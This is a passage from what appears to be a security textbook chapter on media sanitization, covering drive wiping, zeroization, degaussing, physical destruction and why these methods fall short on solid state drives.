example, DoD.5200.28-STD specifies overwriting the drive with a special digital pattern
through seven passes. Drive wiping allows the drive to be reused.
Zeroization This process is usually associated with cryptographic processes. The term
was originally used with mechanical cryptographic devices. These devices would be reset
to 0 to prevent anyone from recovering the key. In the electronic realm, zeroization
involves overwriting the data with zeroes. Zeroization is defined as a standard in ANSI
X9.17.
Degaussing This process is used to permanently destroy the contents of the hard drive
or magnetic media. Degaussing works by means of a powerful magnet that uses its field
strength to penetrate the media and reverse the polarity of the magnetic particles on the
tape or hard disk platters. After media has been degaussed, it cannot be reused. The only
method more secure than degaussing is physical destruction. Figure 19.1 shows an
example of a drive degausser.
Figure 19.1 A drive degausser
In some cases the options we’ve listed here may not be something you can use because
the media may contain information that requires the media’s physical destruction. This is
even true in the case of hard drives, where the physical destruction of the device may be
required, up to and including melting down the device.
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The Problems with Solid State Drives
Over the last several years traditional hard drives (the ones with spinning disks
inside) have been increasingly replaced in favor of solid state drives (SSDs). These
drives offer increased speed, better performance, lower power usage, and other
benefits, but they cannot be wiped the same way. The sanitation methods that are
currently used to wipe, overwrite, or zeroize traditional hard drives don’t work on
SSD mechanisms.
In theory, some of the methods used for traditional drives should work, but they tend
to be questionable. For example, overwriting a drive with ones and zeroes a couple of
times sounds like a good way to eliminate remnants, but even if everything is
overwritten there are still chips in the drive that could hold data. Some vendors have
routines on their drives